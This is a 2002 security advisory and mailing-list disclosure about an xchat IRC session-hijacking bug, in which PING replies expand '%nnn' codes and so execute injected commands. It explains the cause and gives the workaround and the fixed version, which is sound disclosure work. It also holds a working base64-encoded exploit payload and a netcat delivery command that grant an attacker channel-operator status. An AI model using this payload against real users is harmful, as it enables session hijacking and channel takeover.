Xchat IRC Client Character Expansion Bug Lets a Remote User Hijack Another User's Session and Cause Commands to Be Sent to the IRC Server from the Hijacked Client
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SecurityTracker Alert ID: 1003178 |
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SecurityTracker URL: http://securitytracker.com/id/1003178
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jan 10 2002
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Impact:
Execution of arbitrary code via network, Modification of user information, User access via network
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): 1.4.2 and 1.4.3
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Description:
A vulnerability was reported in the xchat IRC chat client. A remote user can hijack another user's session and cause the other user's xchat client to send commands to the client's current IRC server.
It is reported that the CTCP PING reply handler is designed to return the string that was sent to it by another client to determine the time lag between the two systems. The xchat client apparently has another feature that allows the insertion of arbitrary ascii valued characters into a message using the format "%nnn". The PING reply handler reportedly expands the "%nnn" values in replies in the vulnerable clients. A remote user can send malicious commands separate by "%010" line feed characters that will be executed by the client.
A demonstration exploit is provided in the Source Message (it is Base 64 encoded).
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Impact:
A remote user can hijack another user's session and cause the other user's xchat client to send commands to the client's current IRC server.
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Solution:
The vendor has provided the following workaround to disable ASCII expansion:
/set percascii 0
Also, a fixed version (1.8.7) is available at the Vendor URL.
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Vendor URL: www.xchat.org/ (Links to External Site)
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Cause:
Input validation error
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Underlying OS:
Linux (Any), MacOS, UNIX (Any), Windows (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Wed, 9 Jan 2002 22:45:13 +1300 (NZDT)
Subject: xchat IRC session hijacking vulnerability (versions 1.4.1, 1.4.2)
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---1463783680-382694448-1010569513=:26663
Content-Type: TEXT/PLAIN; charset=US-ASCII
==========================================================================
======= xchat 1.4.2 and 1.4.3 IRC session hijacking vulnerability ========
==========================================================================
It is possible to trick xchat IRC clients (1.4.2, 1.4.3) into sending
commands to the IRC server they are on, potentially allowing for social
engineering attacks, channel takeovers, and denial of service.
Vendor updates for affected versions soon.
==========================================================================
================================ Background ==============================
==========================================================================
The CTCP PING reply handler is designed to return the string that was sent
to it by another client. This enables that client to determine the time
lag between them and another user.
The querying client types
/ping nick
which sends a command of the form:
PRIVMSG nick :\x01PING 1027050764\x01\n
Where "1027050764" was some representation of the current time, and \x01
is the character with the ASCII value 0x01.
The queried client would respond with:
NOTICE nick :\xPING 1027050764\x01\n
and the querying client would then compare the current time with the time
in the string.
If you sent "test 1 2 3 4" as the time part, xchat would reply with the
same string.
The xchat client also has a feature which allows insertion of arbitrary
ascii valued characters into a message.
The message "This is %065 test." gets sent as "This is A test." to the
server. (This option is disabled by default in later versions.)
If these expressions are expanded on the sending client, a ping messsage
could be sent to a user with the command:
/msg nick %001PING 12345678%001
which would send a string like:
PRIVMSG nick :\x01PING 12345678\x01
(To disable expansion in xchat when you are typing them, use '%%nnn' to
send the '%nnn' literal. Eg: to send '%100x', type '%%100x' in the
client. If your client does expansion, it would show up as 'dx', which
can be quite annoying when discussing format strings.)
==========================================================================
=============================== The Problem ==============================
==========================================================================
The PING reply handler also expands the %nnn values in replies in the
vulnerable clients.
Example exploit, By Marcus Meissner <Marcus.Meissner@caldera.de>
#fupp is a channel.
Victim is on it and has channel op status.
Enter the command: cat xchat.exploit - | netcat server 6667
(The - is necessary so we do not quit instantely)
This causes vulnerable 'Victim' to give user 'exploit' channel operator
status in channel '#fupp' on server 'server'.
-- zen-parse
==========================================================================
= ObSpam: http://mp3.com/cosv/ - You know I want you to. =
==========================================================================
= 1337sp34|< @ |r(://|r(.pu||thep|ug.(0m/ {#r00th@t,#s0c|a|} @n|) 5tuff. =
==========================================================================
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse@gmx.net, it
may be redistributed without modification.
2) In any other case the contents of this message is confidential and not
to be distributed in any form without express permission from the author.
---1463783680-382694448-1010569513=:26663
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="xchat.exploit"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.33.0201092245130.26663@clarity.local>
Content-Description:
Content-Disposition: attachment; filename="xchat.exploit"
dXNlciBleHBsb2l0IGZvbyBiYXI6IEV4cGxvaXQgVGVzdGVyDQpuaWNrIEV4
cGxvaXQNCmpvaW4gI2Z1cHANCnByaXZtc2cgVmljdGltIDoBUElORyAxJTAx
ME1PREUgI2Z1cHAgK28gRXhwbG9pdCUwMTABDQoNCg==
---1463783680-382694448-1010569513=:26663--
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